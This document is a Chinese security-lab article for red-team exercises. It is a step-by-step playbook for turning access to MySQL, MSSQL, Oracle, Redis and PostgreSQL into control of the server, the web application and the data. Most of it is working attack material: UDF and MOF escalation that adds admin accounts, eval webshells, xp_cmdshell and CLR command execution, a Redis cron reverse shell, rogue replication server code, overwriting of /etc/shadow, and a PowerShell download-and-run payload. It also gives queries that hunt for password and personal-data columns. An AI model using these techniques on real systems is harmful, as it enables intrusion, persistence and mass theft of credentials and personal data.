长亭百川云 - 文章详情

数据库利用 看这篇就好了

默安玄甲实验室

53

2024-07-13

0x01 概述

该篇文章总结了在国家级攻防演练中数据库相关利用,旨在帮助红队选手在拿下数据库权限后快速拓展获取服务器权限、WEB应用权限、数据分数,请勿非法利用。

该篇文章并不是将所有的利用方式进行总结,因为有一些利用方式非常鸡肋,条件极其苛刻,文章总结了在实战中利用率较高且性价比较高的利用方式。

0x02 数据库->服务器权限

建议大家在实战中直接使用工具,当使用工具遇到问题时可通过以下利用步骤进行调试

网上有成熟的数据库利用工具:https://github.com/SafeGroceryStore/MDUT

Mysql

- UDF提权

利用条件

  • secure-file-priv 不为NULL

  • 存在\lib\plugin目录


  1. 确定--secure-file-priv参数,值为NULL则无法提权
show global variables like '%secure%';
  1. 确定mysql版本,对应udf.dll版本
show variables like "%version%";
  1. 将udf.dll代码的16进制数声明给my_udf_a变量
use mysql;  
set @my\_udf\_a=concat('',dll的16进制);
  1. 建表my_udf_data,字段为data,类型为longblob
create table my\_udf\_data(data LONGBLOB);
  1. @ my_udf_a插入表my_udf_data
insert into my\_udf\_data values("");update my\_udf\_data set data = @my\_udf\_a;
  1. 查看udf.dll的导出路径
show variables like '%plugin%';
  1. 将udf.dll导出
select data from my\_udf\_data into DUMPFILE 'D:/hack/phpstudy/PHPTutorial/MySQL/lib/plugin/udftest.dll';
  1. 创建cmd function
create function sys\_eval returns string soname 'udftest.dll';
  1. 命令执行
select sys\_eval('whoami');
  1. 附:各版本的udf.dll的hex,参考的MDUT,固定了只允许创建sys_eval函数

- mof提权

利用条件

  • secure-file-priv参数为空

  • mysql服务权限为管理员


  1. 生成mof文件
pace("\\.rootsubscription")  
  
instance of \*\*EventFilter as $EventFilter{    EventNamespace = "RootCimv2";    Name  = "filtP2";    Query = "Select \* From \*\*InstanceModificationEvent "  
            "Where TargetInstance Isa "Win32\_LocalTime" "  
            "And TargetInstance.Second = 5";  
    QueryLanguage = "WQL";  
};  
  
instance of ActiveScriptEventConsumer as $Consumer  
{  
    Name = "consPCSV2";  
    ScriptingEngine = "JScript";  
    ScriptText =  
    "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")";  
};  
  
instance of \_\_FilterToConsumerBinding  
{  
    Consumer   = $Consumer;  
    Filter = $EventFilter;  
};
  1. 导入nullevt.mof文件
select char(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114,105,112,116,105,111,110,34,41,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,32,36,69,118,101,110,116,70,105,108,116,101,114,13,10,123,13,10,32,32,32,32,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,111,111,116,92,92,67,105,109,118,50,34,59,13,10,32,32,32,32,78,97,109,101,32,32,61,32,34,102,105,108,116,80,50,34,59,13,10,32,32,32,32,81,117,101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,109,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,13,10,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,13,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,13,10,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,13,10,123,13,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,13,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,13,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,13,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,46,101,120,101,32,108,111,99,97,108,103,114,111,117,112,32,97,100,109,105,110,105,115,116,114,97,116,111,114,115,32,97,100,109,105,110,32,47,97,100,100,92,34,41,34,59,13,10,32,125,59,13,10,13,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,13,10,123,13,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,13,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,13,10,125,59) into dumpfile 'c:/Windows/system32/wbem/mof/nullevt.mof';

- 写入webshell到网站目录

利用条件

  • secure-file-priv参数为空或者为网站根路径

  • 知道网站的绝对路径


  1. 写入一句话到网站根目录
select '<?php @eval($\_POST\[shell\]); ?>' into outfile 'D:/hack/phpstudy/PHPTutorial/WWW/shell.php';

- 写入webshell到日志general_log

利用条件

  • 知道网站的绝对路径

  1. 开启general_log
set global general\_log='on';
  1. 设置日志存放位置
SET global general\_log\_file='D:/hack/phpstudy/PHPTutorial/WWW/cmd.php';
  1. 写入一句话到日志文件
SELECT '<?php assert($\_POST\["cmd"\]);?>';

- 写入webshell到慢查询日志

利用条件

  • 知道网站的绝对路径

  1. 开启慢查询日志
set global slow\_query\_log=1;
  1. 设置日志存放位置
set global slow\_query\_log\_file='D:/hack/phpstudy/PHPTutorial/WWW/low.php';
  1. 写入一句话到慢查询日志文件
select "<?php @eval($\_POST\['cmd'\])?>" or sleep(11);

Mssql

- xp_cmdshell提权

利用条件

  • 拥有DBA权限

  1. 判断当前是否为DBA权限,为1则可以提权
select is\_srvrolemember('sysadmin');
  1. 开启xp_cmdshell
EXEC sp\_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp\_cmdshell', 1;RECONFIGURE;
  1. xp_cmdshell命令执行
exec master..xp\_cmdshell whoami;

- Ole automation procedures提权

利用条件

  • 拥有DBA权限

  1. 判断当前是否为DBA权限,为1则可以提权
select is\_srvrolemember('sysadmin');
  1. 开启Ole automation procedures
EXEC sp\_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp\_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;EXEC sp\_configure 'show advanced options', 0;
  1. 命令执行多种方式
  • wscript.shell组件
declare @luan int,@exec int,@text int,@str varchar(8000)  
exec sp\_oacreate 'wscript.shell',@luan output  
exec sp\_oamethod @luan,'exec',@exec output,'C:\\\\Windows\\\\System32\\\\cmd.exe /c whoami'  
exec sp\_oamethod @exec, 'StdOut', @text out  
exec sp\_oamethod @text, 'readall', @str out  
select @str;  

  • com组件
declare @luan int,@exec int,@text int,@str varchar(8000)  
exec sp\_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output  
exec sp\_oamethod @luan,'exec',@exec output,'C:\\\\Windows\\\\System32\\\\cmd.exe /c whoami'  
exec sp\_oamethod @exec, 'StdOut', @text out  
exec sp\_oamethod @text, 'readall', @str out  
select @str;

- JobAgent提权

利用条件

  • 拥有DBA权限

  • 需要sqlserver代理(sqlagent)开启


  1. 尝试开启sqlagent
exec master.dbo.xp\_servicecontrol 'start','SQLSERVERAGENT';
  1. 利用任务计划命令执行(无回显)
USE msdb;  
EXEC dbo.sp\_add\_job @job\_name = N'testjob'  
EXEC sp\_add\_jobstep @job\_name = N'testjob', @step\_name = N'testjob', @subsystem = N'CMDEXEC', @command = N'whoami', @retry\_attempts = 1, @retry\_interval = 5  
EXEC dbo.sp\_add\_jobserver @job\_name = N'testjob'  
EXEC dbo.sp\_start\_job N'testjob';

- CLR提权

利用条件

  • 拥有DBA权限

  1. 开启CLR
exec sp\_configure 'show advanced options','1';reconfigure;exec sp\_configure 'clr enabled','1';reconfigure;exec sp\_configure 'show advanced options','1';
  1. 导入CLR插件
CREATE ASSEMBLY \[MDATKit\]  
AUTHORIZATION \[dbo\]  
FROM 0x16进制的dll  
WITH PERMISSION\_SET = UNSAFE;
\[16进制的dll\](https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt)
  1. 创建CLR函数
CREATE PROCEDURE \[dbo\].\[kitmain\]  
 @method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)   
 AS EXTERNAL NAME \[MDATKit\].\[StoredProcedures\].\[kitmain\]
  1. kitmain函数命令执行
exec kitmain 'cmdexec',N'whoami'

- 存储过程写webshell

利用条件

  • 拥有DBA权限

  • 知道的网站绝对路径


  1. 判断当前是否为DBA权限,为1则可以提权
select is\_srvrolemember('sysadmin');
  1. 利用存储过程写入一句话
declare @o int, @f int, @t int, @ret int  
exec sp\_oacreate 'scripting.filesystemobject', @o out  
exec sp\_oamethod @o, 'createtextfile', @f out, 'C:\\xxxx\\www\\test.asp', 1  
exec @ret = sp\_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'

- 日志写webshell

利用条件

  • 拥有DBA权限

  • 知道的网站绝对路径


  1. 判断当前是否为DBA权限,为1则可以提权
select is\_srvrolemember('sysadmin');
  1. 利用存储过程写入一句话
alter database 库名 set RECOVERY FULL   
create table cmd (a image)   
backup log 库名 to disk = 'c:\\' with init   
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)   
backup log 库名 to disk = 'c:\\xxxx\\www\\2.asp'

- 沙盒提权

利用条件

  • 拥有DBA权限

  • sqlserver服务权限为system

  • 服务器拥有jet.oledb.4.0驱动


  1. 修改注册表,关闭沙盒模式
EXEC master.dbo.xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SoftWare\\Microsoft\\Jet\\4.0\\Engines','SandBoxMode','REG\_DWORD',0
  1. 命令执行
Select \* From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\\windows\\system32\\ias\\ias.mdb','select shell("whoami")');

Oracle

- 创建java函数提权

利用条件

  • dba权限

  1. 使用sqlplus连接
system/system@192.168.117.66:1521/orcl
  1. 赋权
begin dbms\_java.grant\_permission( 'PUBLIC', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,execute,delete' );end;  
/  

  1. 创建java代码
create or replace and compile java source named exe\_linux as  
import java.io.BufferedReader;  
import java.io.InputStream;  
import java.io.InputStreamReader;  
import java.net.UnknownHostException;  
public class Test  
{  
  public  static  String list\_cmd(String str){  
     Runtime runtime=Runtime.getRuntime();  
    StringBuffer  enco  =  new  StringBuffer();   
    enco.append("GBK");  
    try{  
    Process proc =runtime.exec(str);  
    InputStream inp\_suc=proc.getInputStream();  
    InputStream inp\_err=proc.getErrorStream();  
    BufferedReader bfr\_err = new BufferedReader(new InputStreamReader(inp\_err,enco.toString()));  
    BufferedReader bfr\_suc = new BufferedReader(new InputStreamReader(inp\_suc,enco.toString()));  
     String strLine;  
        while( (strLine=(bfr\_suc.readLine())) != null){  
         
       System.out.println(strLine);  
           }  
    while( (strLine=(bfr\_err.readLine())) != null){  
         
      System.out.println(strLine);  
     }  
         proc.destroy();  
         inp\_suc.close();  
         inp\_err.close();  
     }catch (Exception e) {  
        System.out.println("EXECUTE IS ERROR!");  
        System.out.println(e.getMessage());  
      }  
     return "";  
    }  
        
    /\*  public static void main(String\[\] args){  
        
        list\_cmd(args\[0\]);  
      }  
      \*\*/  
}  
  
/  

  1. 创建存储过程
create or replace procedure p\_exe\_linux(str varchar2) as language java  
name 'Test.list\_cmd(java.lang.String)';  
/  

  1. 命令执行
SET SERVEROUTPUT ON  
exec dbms\_java.set\_output(1111111111111);  
EXEC P\_EXE\_LINUX('whoami');

Redis

- 计划任务反弹shell

利用条件

  • 出网

  • redis服务为root权限

  • linux


  1. 反弹shell
config set dir /var/spool/cron/  
config set dbfilename root  
set xxx "\\n\\n\\n\* \* \* \* \* bash -i >&/dev/tcp/ip/端口 0>&1\\n\\n\\n"  
save  

- 写入ssh公钥getshell

利用条件

  • redis服务为root权限

  • 允许密钥登录

  • linux


  1. 写入ssh公钥
config set dir /root/.ssh  
config set dbfilename authorized\_keys  
set xxssh "\\n\\nssh-rsa xxxxxx\\n\\n"  
save

- 写入webshell提权

利用条件

  • 知道网站的绝对路径

  • 拥有网站目录的写权限


  1. 写入webshell
config set dir /home/web/wwwroot/  
config set dbfilename xxx.php  
set xxphp "\\n\\n<?php eval($\_REQUEST\['x'\]); ?>\\n\\n"  
save

- 主从复制恶意.so文件getshell

利用条件

  • redis 4.x/5.x

  • 出网

  • linux


  1. 在vps上开启redis从服务,提供exp.so
python3 redis-cus-rogue.py 21000 exp.so

redis-cus-rogue.py

#!/usr/bin/env python3  
import os  
import sys  
import argparse  
import socketserver  
import logging  
import socket  
import time  
  
DELIMITER = b"\\r\\n"  
  
class RoguoHandler(socketserver.BaseRequestHandler):  
    def decode(self, data):  
        if data.startswith(b'\*'):  
            return data.strip().split(DELIMITER)\[2::2\]  
        if data.startswith(b'$'):  
            return data.split(DELIMITER, 2)\[1\]  
  
        return data.strip().split()  
  
    def handle(self):  
        while True:  
            data = self.request.recv(1024)  
            logging.info("receive data: %r", data)  
            arr = self.decode(data)  
            if arr\[0\].startswith(b'PING'):  
                self.request.sendall(b'+PONG' + DELIMITER)  
            elif arr\[0\].startswith(b'REPLCONF'):  
                self.request.sendall(b'+OK' + DELIMITER)  
            elif arr\[0\].startswith(b'PSYNC') or arr\[0\].startswith(b'SYNC'):  
                self.request.sendall(b'+FULLRESYNC ' + b'Z' \* 40 + b' 1' + DELIMITER)  
                self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)  
                self.request.sendall(self.server.payload + DELIMITER)  
                break  
  
        self.finish()  
  
    def finish(self):  
        self.request.close()  
  
  
class RoguoServer(socketserver.TCPServer):  
    allow\_reuse\_address = True  
  
    def \_\_init\_\_(self, server\_address, payload):  
        super(RoguoServer, self).\_\_init\_\_(server\_address, RoguoHandler, True)  
        self.payload = payload  
  
  
if \_\_name\_\_ == "\_\_main\_\_":  
    if len(sys.argv)< 2:  
        print("python \[port\] \[filename\]")  
        print("python 21000 exp.so")  
        exit(0)  
  
    lport = int(sys.argv\[1\])  
    expfile = sys.argv\[2\]  
    with open(expfile, 'rb') as f:  
        server = RoguoServer(('0.0.0.0', lport), f.read())  
    print("rogue server startup %d port"%lport)  
    server.handle\_request()  
    print("recevice client request")  

  1. 目标redis加载远程exp.so命令执行
#设置redis的备份路径为当前目录  
    config set dir ./  
#设置备份文件名为exp.so,默认为dump.rdb  
    config set dbfilename exp.so  
#设置主服务器IP和端口  
    slaveof 192.168.172.129 21000    
#加载恶意模块  
    module load ./exp.so  
#切断主从,关闭复制功能  
    slaveof no one   
#执行系统命令  
    system.exec 'whoami'

- 主从复制覆写shadow

利用条件

  • redis 4.x/5.x

  • 出网

  • linux

  • redis服务权限为root


  1. 在vps上开启redis从服务,提供shadow文件
python3 redis-cus-rogue.py 21000 shadow
  1. 目标redis远程加载shadow,覆盖原始shadow
config set dir /etc/  
config set dbfilename shadow  
slaveof 192.168.172.129 21000

- 写入启动提权

利用条件

  • 需要启动项目录的写入权限

  • windwos

  • 服务器需要重启


  1. 写入启动项
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"  
config set dbfilename shell.bat  
set x "\\r\\n\\r\\npowershell -windowstyle hidden -exec bypass -c \\"IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.2/shell.ps1');xx.ps1\\"\\r\\n\\r\\n"  
save

Postgre

- 写入webshell

利用条件

  • 拥有网站路径写入权限

  • 知道网站绝对路径


  1. 写入webshell
copy  (select '<?php phpinfo();?>') to '/tmp/1.php';

- CVE-2019-9193

利用条件

  • 版本9.3-11.2

  • 超级用户或者pg_read_server_files组中的任何用户


  1. 命令执行
DROP TABLE IF EXISTS cmd\_exec;  
     CREATE TABLE cmd\_exec(cmd\_output text);  
     COPY cmd\_exec FROM PROGRAM 'whoami';  
     SELECT \* FROM cmd\_exec;

- CVE-2019-9193

利用条件

  • 版本9.3-11.2

  • 超级用户或者pg_read_server_files组中的任何用户


  1. 命令执行
DROP TABLE IF EXISTS cmd\_exec;  
     CREATE TABLE cmd\_exec(cmd\_output text);  
     COPY cmd\_exec FROM PROGRAM 'whoami';  
     SELECT \* FROM cmd\_exec;

0x03 数据库->WEB应用权限

通过SQL语句快速查询数据库中WEB应用后台的账号密码,获取WEB应用权限分

Mysql

  1. 查看数据库连接情况:
show processlist;
  1. xx 库中所有字段名带 pass|pwd 的表
select distinct table\_name from information\_schema.columns where table\_schema="xx" and column\_name like "%pass%" or column\_name like "%pwd%"
  1. 获取WEB应用账号密码
select \* from car.sys\_user

Mssql

  1. 查看xx数据库连接的IP
select DISTINCT client\_net\_address,local\_net\_address from sys.dm\_exec\_connections where Session\_id IN (select session\_id from sys.dm\_exec\_Sessions where host\_name IN (SELECT hostname FROM master.dbo.sysprocesses WHERE DB\_NAME(dbid) = 'xx'));
  1. xx 库中所有字段名带 pass|pwd 的表
select \[name\] from \[xx\].\[dbo\].sysobjects where id in(select id from \[xx\].\[dbo\].syscolumns Where name like '%pass%' or name like '%pwd%')
  1. 获取WEB应用账号密码
select \* from \[test\].\[dbo\].test1

Oracle

  1. 查看用户数据库连接的IP
select username,program,machine,client\_info,sys\_context('userenv','ip\_address') as ipadd from v$session s where username is not null order by username,program,machine;  

  1. 用户库中所有字段名带 pass|pwd 的表
SELECT \* FROM USER\_TAB\_COLUMNS WHERE column\_name LIKE '%PASS%' OR column\_name LIKE '%PWD%';
  1. 获取WEB应用账号密码
SELECT \* FROM 库名.表名;

0x04 数据库->数据

通过SQL语句快速查询数据库中的大量、重要数据,获取数据分

Mysql

  1. xx 库中所有表,按字段数排序
select table\_name,table\_rows from information\_schema.tables where table\_schema='xx' order by table\_rows desc;
  1. xx 库中所有字段名带个人信息的表
select distinct table\_name from information\_schema.columns where table\_schema="xx" and column\_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名"

Mssql

  1. xx 库中所有表,按字段数排序
SELECT a.name,b.rows FROM xx..sysobjects a INNER JOIN xx..sysindexes b ON a.id=b.id WHERE b.indid IN(0,1) AND a.Type='u' ORDER BY b.rows DESC
  1. xx 库中所有字段名带个人信息的表
select \[name\] from \[xx\].\[dbo\].sysobjects where id in(select id from \[xx\].\[dbo\].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%')

Oracle

  1. 用户库中所有表,按字段数排序
select t.table\_name,t.num\_rows from user\_tables t ORDER BY NUM\_ROWS DESC;
  1. 用户库中所有字段名带个人信息的表

SELECT * FROM USER_TAB_COLUMNS WHERE regexp_like(column_name,'NAME|PHONE|MOBILE|CERTIFICATE|NUMBER|EMAIL|ADDR|CARD|电话|地址|身份证|姓名')

扫码关注玄甲

玄甲实验室是默安科技旗下的技术研究团队,团队由长期在一线的攻防专家组成。团队主要致力于Web渗透,APT攻防、对抗,红队工程化,从底层原理到一线实战进行技术研究,深入还原攻与防的技术本质。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2